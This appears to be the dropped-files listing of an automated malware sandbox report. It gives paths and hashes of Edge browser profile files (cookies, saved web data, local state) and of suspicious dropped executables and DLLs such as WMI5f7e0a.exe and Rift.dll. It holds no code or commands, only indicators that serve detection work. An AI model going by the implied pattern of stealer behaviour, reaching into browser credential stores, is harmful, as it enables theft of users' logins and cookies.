Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59c5e6.TMP
Size 2KB
SHA256 d978ea7bda6310cb0f179eaa97f5b0032b8d782e3d2639ab588b8436e234ac1e
MD5 90d1d12a01751efd91277af4c5f28288
SHA1 c1dee291776110e863b604d469c3c6ddcec24f60
SHA512 377413d0658977d349908f366999683687097288600487636ceb1bd5dde0143456aff987563581c055b61939457337b3cecd0f8be23e201161c3d56e093c7e6a
TLSH
T142513B4BD3FB45E6D32B81B652DC6C7ABAF4848A02036E1341203DB84BDBF1451F2293
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log
Size 13KB
SHA256 d3c32c8538ebb07978c7eb38cf4ffaecf45a51b1309699d5ebecbebe939a5d41
MD5 4d9f3b09d7837de19ddff00efd636bf7
SHA1 9238adbf8255d417e72e987591d56a9e7b8d3dc4
SHA512 a677a2019689f7241cdcf95981082accb4497e697473251d96ef04ce16cac0b5ecf30a70f4e2521fb7b70eefb4dce47ab7ef53c49eda7fe41fe839f409173966
SSDEEP 192:VGjJdFUfuU3Ronlyi/+MChWjv2OXX9wWi8YH1Ss:ulUfuUhonD+Y2OPYH1V
TLSH
T15A52FE7FD00884BE472B8367964B352EC7B729BE184DF59EE1D21D0C01AE26E22159DF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Size 24KB
SHA256 0aec99bd439844428ae576f8762ccbf10bccdd225159b8d75dad2acbfc424c2e
MD5 936d353750bbc492c1afc31ddcf42db5
SHA1 d5f17308989b866d8f5e4e7cef5146dc3da2f8b9
SHA512 16aca79c840b2926be5641aa26a4cc857f206245c94a0180ffbbb1124e2d3c51e00d9e23d649ae9ac69d9da1a91e9f6d9cd3ba1618ddcb500b8a0c504280c4ad
SSDEEP 96:qDeMatha9ddI9yBNLtLCTv2L/BZOez9JyHY4A:qDLaTaXVjh82LzdzyYj
TLSH
T151B2B40E5B242027E6B99F76DDD403121F6C519CC7273786AD94E0B2DD62AABF520CE3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 47891702d96a71075df743c9e6439e67a0f72988420d41177f02caea3b50cace
MD5 fffe32bee213b2bbb7ab60ffdad474d1
SHA1 f586ee9d13a78cba3dc1fe49563738ff62704996
SHA512 812024c53574c8692907a0a2b468ead01ec70d8dcb5d623cc1daaac8f1fd84a180e25ac68f67c24046503ac5c4c926d62dc0cfe6c273df690d9ac1163bea3942
TLSH
T1656190F7C3E8862DD91156F4AB146E1FCE2D0914431C7D6AC8E4AE1B93E24B1F141A9F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 6a37095c2c87b6253ec34fbb6b95cdf334fe91b5ef6dbb50355b577d7559de0a
MD5 644f1365f5ac31aa07e0d0cffe8e6546
SHA1 db7b077a9e3c9e64d7a35fdd723cffc1a79ef9bb
SHA512 452c83a21dcf68a06b56483e811f1b90f3799f5fb26584fddcdb0998bedb7250d5441c4fa8d8b9e693e59048d21c5e265d8c1157c471890483d149bfb4c3a575
TLSH
T14A31BEF3C6E8567D894146F87B143E2BCE2D0955832C7D5AC8D4AF5FA3E1871D28094E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 64dcc9c6468c5d3957afecf504fd53899f70085eb65289549508b2bb9f1c429d
MD5 2c8e890663bc72158dc35dabd6cd16ec
SHA1 5fb3c28eafca20a908d454ba8aa646a0dbf39d5e
SHA512 5b48a7bb346d30c4a1cd0aa822df23e9d040f175cef4f44829866fe260d9bfe9421f7c6fe5b287b173d02e192784e6944f9f3dd260984bb3d11bd88f36809ca8
TLSH
T11C5191F7C3F4852DCA1156F4AB146E1FCE1D0914431C7D6A84E4AE2B93E3471E141A9F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 87c361135768fddd19c373cf96de311a8978e3468e7cf4fe4ab3d81780b75ebc
MD5 5720ed44b5e3aa0e32c8301603ff5f63
SHA1 dc77cf515dbca77311ce578bd18c56d0477e4604
SHA512 9cf6a895c1af620377cb741507f4c5421bc7e441260bdfd7d4a24c6499e29f806324b3eb23ded08281906df8a7513e6f1a6538a1db4f910958ba64348b282f55
SSDEEP 192:sxRJRXCu/fSsFl3AtGzoA8plW/g6+WNp8y8/YZFLWUDGVIIgVA9tNJ:sxRJEu/fSsFlEI/5m/SIEgR
TLSH
T15442D71669689D3B5CC7D21EFB15BF53D2F95032A1915E08BAFC8A1C04EBADD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 a63162b7f7f510a586edadb93933b3f8a0a5f16eee821db7583fa82cb4cf6a60
MD5 7f459b92baab2afa189ea1d3a6aabd3e
SHA1 cd64f59ed6fb238fc39b1efd76b0e33464c5afe9
SHA512 46288ea1353ef308dbf5a47c7b7965eb3503a3c1f27e615d1a40d9ae3dc667beee2b018e4713f1f243df7232e3e18a0d49a199eef00bc922b813741e37ebf0b8
SSDEEP 192:sxR+RXCu/fSs1AgZzszoA8plW/g6+WNp8y8/YZFLaqDGVIIgD+VRd9tpJ:sxR+Eu/fSs1A+zdI/5m/SYEwp
TLSH
T16642D816AA685D3B5CC7D21EFB55BF53E2F95032A1911E44B7FC8A1C04EBADD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 6c6c3c298653a80737892dbfa95ab7a962482e39383ff0bbedc1147a8c146811
MD5 74848df34ebf28d15a2a0a528c201624
SHA1 23b83d519323584c357cdb9b2be0b226c0a347c5
SHA512 c1d0074b2018d940cc90399b94fa9d3088210ff58b455f5933adfc5f404687c4329e740f8483ea994cf612fca6b17356021ae62b27d4de03ab62984807d5e3e6
SSDEEP 192:sxR+RXCu/fSs1lgZzszoA8plW/g6+WNp8y8/YZFLWUDGVIIgDMVRd9tpJ:sxR+Eu/fSs1l+zdI/5m/SIEip
TLSH
T1B742D816AA689D3B4CC7D21EFB55BF53D2F95032A1905E44B7FC8A1C04EBADD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 27KB
SHA256 0725befddb5589f6850fe02f671288305a674c3b18995ae78e721d0f486c7029
MD5 dea9e6f4644f19f7a34f480e337ec5fd
SHA1 08174b238c5ba0397841cd8523e6af8deefe6857
SHA512 84f754f6a3abc927be5e29d9c13daa1df9bd315cdba90fc5e897a367083ce877c16a5707621a9bea49164fd1e1b05b7386ee79c43694c8d68412b58cab38e44b
SSDEEP 768:K80E+67pLuL7FwWgNhfRN8F1+UoAYDCx9Tuqh0VfUC9xbog/OVswLWiroLuvlx:K80E+SE7FwWgNhfRNu1jaHgW5Lu9x
TLSH
T19CC2D97B740DCF7E4F800A9DAC197E9B6DA802CB96D8CD9047FE851C02C6BEA51164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 233B
SHA256 10d1d968edc22903b70aa693d1d786ba80baf811fbfbd541d8967fac3bae71a2
MD5 8453afc4ec7b66aae8e626a3ee4cd9b0
SHA1 90c097bac4b05d1e260958f08b5363eb9799c746
SHA512 acc7790f6ca9f77d1418ac51d295b6678fcc2e56b8f883b187646dd54d4be1c93ae13f95c673035cb9dbce9c2b6476e4bd4a093cc212461aa6734b81af779aa1
TLSH
T13CD0A7ABE5650484E77A46D2173154AE4B626C84155091489012622D1CBEB57E736FD2
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 226B
SHA256 ea0575b4e779010065042c54344f8edbece282e34d912c86cbfc63d8c894ea87
MD5 e022c43c3b98ae871fb793b4a4e1102b
SHA1 727a47cef437f92c1166ac3e360e5b9ca3bdc493
SHA512 773203c6f682ac3194cc87ca290eafd89f51861f4688983a821ea2b65b9c6b5ceb18c1feefedab6a72c70fc0341719023cd83669349ff1eeaebb820114448c46
TLSH
T10AD0A7ABA1A50580E77E4BD21721556E4B127C8414549148601142294C9EB67D662F92
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe594b09.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt~RFe594b09.TMP
Size 138B
SHA256 1b38af7e0d3c9019c594e3b90c535f10a2946aedfa821c681641db3813aebf3d
MD5 9d4ed737085457d303558c10bfb1f6e7
SHA1 ff8042f67c60f9e51d7979dac253f40e9bf61e2b
SHA512 7747be1c24719154e890a94cce0e94f63bd439f45b42176fa99efc5ea99f5341f4d173da5407f3ca947ef140283373aea6dd25704eac8bc51020a18d21c3cbbf
TLSH
T13CC02BBBF2040801C72802910333826C4B022CCC0881804C70133458247CE37F307FE2
MD5 SHA1 SHA512 TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 256KB
SHA256 2b8bd717ced61f5299c3e225bcd839cd1047b1cc8ed09f59eea6e1162194f0f2
MD5 c0567c7b892f09aacdd4e5b83b4337e8
SHA1 09ac28e0856cb84b101735e187ef79ae2512a23f
SHA512 2c1cb1460ef301b10c79f3b1f429f065e99341e2b69e15d58f4146b05d7940758aa5a9b771b6ff747965c7dda0abc35c84eb27d31fbaed84c04017243b696681
SSDEEP 384:DNrRZyCSDnxTICXcMEhIKyll7svbFKfk7:xFZJSDni+dyI1l7svbF9
TLSH
T1B244740A7B747001EDE6D9B25CB080771E3C716ECF22A6916DA254694DB3853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7e6a040e-e1c1-4c12-aa62-202a33b2343c.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\7e6a040e-e1c1-4c12-aa62-202a33b2343c.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 544b6edd813990d97bec8c2b65b5ec258409fb428c8ff217848a6c1b596bb823
MD5 d89dc26aee448a0db16a94df3daf15a4
SHA1 718c22b3222ad70f26d00047d2e49866e35558d3
SHA512 fed1cdeda78938e4681550703d9a00c72ab026e56b1f9d83adce79647fb8fcc6a2c599a30ba6910d2708d1010c7bdb315ad9582e40bf8d75ffd77ee4bb598717
SSDEEP 768:grv+4UNbdH3ZV+LeSFOU+9qX4fouOToPvB2thtA9VAw3eVH1SlX:gbsbh3LwsnnwthtteEH1Y
TLSH
T13903D032A8AC8A33DCE6D388710B71972FF4915396D00FC499DD2B4D069B9DD170BC56
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 e6babbf957efd0c5396b89adb56402ea6470ed5a3e04b02e5dc824c4f51bd533
MD5 f2f2d1677c286442967fc8a793dc5a92
SHA1 96b6343325267669797ecf8d027a0b5d5090403e
SHA512 c88bf58bf84bab3b77d342173ab54ca64b6b10eb90ebbb7e5cfe8a11abbd732ec2943b1b1649f4eaaab55e4276c365fa5c370287c98b5a00f6700ed03499e5b1
SSDEEP 768:nFQ+3VwgMDdE1OU+9B5tHDX4fouOToPvB2thtA9VAgly3c1:6+3I5FsnnwthttYX1
TLSH
T132F28D72D9A8CE37ACE6D7C5B709B6879EF041A385D89EC4DAC95E4C00876DE070BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 40KB
SHA256 4323667ef04b8930f12ab628edc868b0079ab7f3338a86d433eae996231dc67c
MD5 b34e810c53682908478f055868875427
SHA1 e5b39eaf39b3500cafcedb7b2f8f18f5adedf5ec
SHA512 dbfac3c7fc9beae8d660c3a0cf1d972d676dd4e877f7871b0933b2c81d96a42d89fdb4c6d500319ed255759a1b29287c2f330475fbb773f5878cadb1db5997e5
SSDEEP 768:nFQ+3mwgMAdG1OU+9B5tHoX4fouOToPvB2thtA9VAgly3c1:6+3v8EsnnwthttYX1
TLSH
T19F1307F298D78937E8AD8787633D6E869AFCC05374844984BBC91E4CCC865BFC70A815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 32KB
SHA256 11ea1ec969c71d7b838664430f9f8edab0704c7aace37e310e0f7a8c2340db86
MD5 641c68140da244ba0eebd9947f243db4
SHA1 f3e6e87711839d1e78d050ce38730d0a8bd93162
SHA512 92ff84fdc9b429ac797565c9e6e43bcb25d6819481d9f56a2f219e38c6a9cbac695e52b9b2a34fb722aa4334e5cb2ff11c55e8737834536074e70bc2500d892f
SSDEEP 768:9036Dc+LeSFOU+9B5tHPX4fouOToPvB2thtA9VAgly3c1:9036k5snnwthttYX1
TLSH
T195E2BFB2A9A9CE33DCE9D399720A72C36EF0506394C44F8499DD671D0487B9E1B0FC1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 40KB
SHA256 bfd9af77b376742486ac99cbd07be6b2aece38757d5d18a03a3eee8ced60e533
MD5 919ea153c3437e19133947a7d0a0ffb8
SHA1 79ce8ba6c44a243d0321ae52e8909bf5a1133285
SHA512 3ed68cac02acf5134207fe75ac58998a4645e7d529f59208652281ad1b7799ae951d9471bab2e1e34a26aa77df0c4b6739bec3eac9dafdab06e6e0f43912e966
SSDEEP 768:nFQ+3VwgMAdl1OU+9B5tHoX4fouOToPvB2thtA9VAgly3c1:6+3IXEsnnwthttYX1
TLSH
T1D21307F298D78937E8AD8787633D6E865AFCC06374845984BBC91E4CCC865BFC70A815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 39abee68ca74670fcb49b7611dcdb78ab9884689d69450907e9fa13332845396
MD5 9ede646e38c9c850a2b713c260f9999e
SHA1 3c9ee9bb1c676d05ac7d6f9f153b5b3820458be1
SHA512 6b4700a60fc2b015c792a4a0e3d8008e9bd7e679decb01edd2ee53102c466071948f3ee42f56a2d58fb8452059369bdf2245614ad605edd6f6ab4284befb6630
SSDEEP 768:5rv+4UNbdH38Fc+LeSFOU+9B5tHvX4fouOToPvB2thtA9VAgly3p:5bsbh38WZsnnwthttYs
TLSH
T1E703BE72A968DE33DCEAD698B10BB6832FF0116354C10F9499D91B8D058BADE270FC56
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 09f365fb1470ebdc43bcc7c1ccf6b366aa30ba026b142651aca705ebc7b6ec27
MD5 ef5e356a4ed5f927a770c22d1da8cc16
SHA1 d485e062fad910f63e37416ba4192d499bd283e6
SHA512 a2a5c270cffcd429f3735445e843ddbc7eb7f668ae02f567f59a6a26558c7a621267a78f413c8e22e47371fd2e1df36406628429bb8d9c529ce46714311936c6
SSDEEP 768:Arv+4UNbdH3eq+LeSFOU+9B5tHpX4fouOToPvB2thtA9VABleVH1SlX:Absbh3vrsnnwthttrEH1Y
TLSH
T1FD03BF72A4A88E33EDE6D399710BB2972FF4116395800FC4D9DA1B4D068BA8E170FC56
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 aa807e4f1b970e487ba89b4ed9f5455dfb3acaffb192b8736b7bd0ccf63b8cf5
MD5 880fe67d2d8def8a73d1f09d09f8f2ff
SHA1 adad7fdd0652919461f89bfe36b449081489052b
SHA512 dec205f202a88afbf96f8015158638483f643ad02a9549b9eaef405a32a1ef2b2cf9c9480d70ccb43ef9ce64818827c6fe3cd27267f657cc33cb6ace9619d87a
TLSH
T18CD02B80043D0A82CFA50A5EE41749F810C44918759C197804CDA4D5501A067315881D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 dc86dff8fbd3b224794d65e8c0974ffa3b17c53a934c92f82e938e524fe823dd
MD5 80c2dfaf9affc09798a4976ae70f1b0b
SHA1 80daf1112206b189525aa4f5b380fbbba97b583a
SHA512 be5ed753856621e4dc5b64324872539291704bf5d2a415ac993b5f475db90e958544f281ac36d3e17af93c554895ceeaccf6fa9b0839d21c60a38443b2081876
TLSH
T15FE06880883D0EC2EBB60A5FE40706FC40C8491AB498187804CEF899A03B0973115C7D
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

e56c9164b667ad97b0cefcb26e48bcb2b04d8cc1a362ee921f2119a6a8798000

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\e56c9164b667ad97b0cefcb26e48bcb2b04d8cc1a362ee921f2119a6a8798000
Size 154KB
SHA256 e56c9164b667ad97b0cefcb26e48bcb2b04d8cc1a362ee921f2119a6a8798000
MD5 a922bd2071b7aa9f2154c991d41885c7
SHA1 c88b22d16c951cbb0bfdab367232cf830e0464d1
SHA512 d8ed2d6b1c3a421a9771e3a5109eaea839bf64be7b7e672ed7b8aa47590ff35c6e78aa79712ce37801cedc56db552fc6a7c3ca55004295a438219ce4a8f007a0
SSDEEP 3072:Aj0amyoD1f5NQQHyR5nYbGnkBEGsvsq5UBkUM4RIJ+37HVeCsKkwQuBp/Z:AoHBD15HEYbQkovswoM4RIIzvXkwtBpB
TLSH
T12BF3F11D7EDAC952C40B92BD3C1AB18BC94B8F0A431674CF264D90248EA578E07E5EFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 132B
SHA256 a0b1a35a86cbd2e671521525fc6903162d450e3b301948d913d05ef458794c20
MD5 22215f69c4a5231b8c568620e783d7fe
SHA1 c64663b6efe0023ca5978374d785f1202d924d1b
SHA512 9e38513132672de4a65c01a6eca3c8c3a878cc6e11e2c0d2235798b78e3338c9a13a15d261c4b4fc6c60657f42407b98c8435aa4352366d1809843ddda068e22
TLSH
T1A5C02B79481924CC2B00043C6004012B19B0560023C413F48C1B8D80007537CD30817F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

rt.cfg

Path C:\Users\Admin\AppData\Local\Microsoft\WindowsRuntime\rt.cfg
Size 141B
SHA256 2a6d662fec3aeb86c23c967cdc0c065ef0ea919f468e84494ee243a5657560d5
MD5 6de66db7d96bc2dcc21cbd22de7d6f1c
SHA1 20caea954e55f7a13758e8048387a92b86729f0a
SHA512 cc96c4c3cc450adde2364e1797a0b4671ad9f48022878fb14313384cb5a716416b311978f5d1583489fd525f248cdb62ba6b2440ead439b92937cfe6cbdda422
TLSH
T1C1C09BBB405165E5F31317C5F505760DB15B9C5FDDD1DD01653DC1500E514713ED111D
MD5 SHA1 SHA512 TLSH

Submit Download

WMI5f7e0a.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\5f7e0a54a86d405a\WMI5f7e0a.exe
Size 275KB
SHA256 c06b89503804679d7bf33df2447e15c4d55f9a87a75b6a6f131d029b5c03a903
MD5 feb677ae4fb48e80dab4251a3618683f
SHA1 181a864ab82d66c30b53bad0a5bc4deef07497ac
SHA512 017d3471291de3301943cd7f81ad83774294f060dfca26d2d8e40846faf08b2f1cc2379abf9308654b85e5df96113816d34e35d7df0ed22e312cd7fd22d23a3c
SSDEEP 6144:Yt8h7HAZNc7cohaAhThKEBpzAMOvv8EPDYqy3h:9h7eNcG+MEBpzXOvvoD
TLSH
T14C546C47B6A165BCD14AC078A35691B7FA32B8CA0620BDBF12E4E6303F57D511F2CB19
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Rift.dll

Path C:\Users\Admin\AppData\Local\Temp\.net\Rift\vijTjyoEtLqI\Rift.dll
Size 1.5MB
SHA256 7a7128cec5207f2acecdb36a1d2c199501a647f955038b95a82a6c1b0b108fc2
MD5 fd119f88e4c1b3b5fdd381591b42d3ce
SHA1 b8b1158bf92c575ed6a92dda0f525e05fc4f34a8
SHA512 c8d07147b045991c725a6ec20b86979226fe0252d7e25e14f4e66f3def17e1dfcdf63c1d311da2fd76da17579d1db0d1f0d917b5a8c4c980f49bd13cc47f90ba
SSDEEP 24576:wDC0qdbtG3GAX4yUEGmre7R2g6nMiseBCiv1urDZMILnGQv5DxkzJQaEMg+IwH0r:pGudKM0Q5nEnXLMoR
TLSH
T1CB759DA1F6500AEEED0F677BD43DC231EB70AA4DA30597781195962E2CCE788620F357
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3068046971650092176.dll

Path C:\Users\Admin\AppData\Local\Temp\3068046971650092176.dll
Size 248KB
SHA256 b077e7659f7a232c222aabbe9137575465bb0b7c2b082230d06d62063b878a96
MD5 096c89d3a40ceff44b7d4ba325596559
SHA1 e07c44b74ce77a6fa6216bd62e8337a34099da20
SHA512 96ae45b56c00ff784b609a01c9b751295c1dfc8275a56d151ea2b62e7bcb307e7c8f7070c43902e9027a4495044afc59ffab7ac6d8a03525bdfe67214019479a
SSDEEP 3072:4OvtzyYmkcL63GSg4b40AfzOk81mM/F8//2jUj0rmzfWjIYsCCGjLAJiEkyuDkzK:z0J7YbHcOv1XYuG+FgJiZOBg
TLSH
T1D1446C19B6A50CB9E97B867CCD530946DBF2BC4247A0E6CF03900A975F2B7D0963EB11
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cc374375-36b5-4dcd-96ca-e0cbceb2cfa9.tmp

Path C:\Users\Admin\AppData\Local\Temp\cc374375-36b5-4dcd-96ca-e0cbceb2cfa9.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir2116_1624356264\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rift-crash.log

Path C:\Users\Admin\Desktop\rift-crash.log
Size 37B
SHA256 fbf83eb93e9e573444259684c254e478a2a18a350b1439001fbb6df08c3aa386
MD5 5306fef1b75fb658cf5593f569fc83a4
SHA1 64e1faebdcdd189f4714186721485f11ddb59fbb
SHA512 32fbf94af619c33a5b3d5701fce0ecbd20c371b761eec08d6dea218214fbda1ad2ff80c4e8879195234d958ca4581432465e60853810421de529aab02dfd899d
MD5 SHA1 SHA512

Submit Download

desktop.ini

Path C:\Users\Admin\Videos\Captures\desktop.ini
Size 190B
SHA256 86d9f822aeb989755fac82929e8db369b3f5f04117ef96fd76e3d5f920a501d2
MD5 b0d27eaec71f1cd73b015f5ceeb15f9d
SHA1 62264f8b5c2f5034a1e4143df6e8c787165fbc2f
SHA512 7b5c9783a0a14b600b156825639d24cbbc000f5066c48ce9fecc195255603fc55129aaaca336d7ce6ad4e941d5492b756562f2c7a1d151fcfc2dabac76f3946c
TLSH
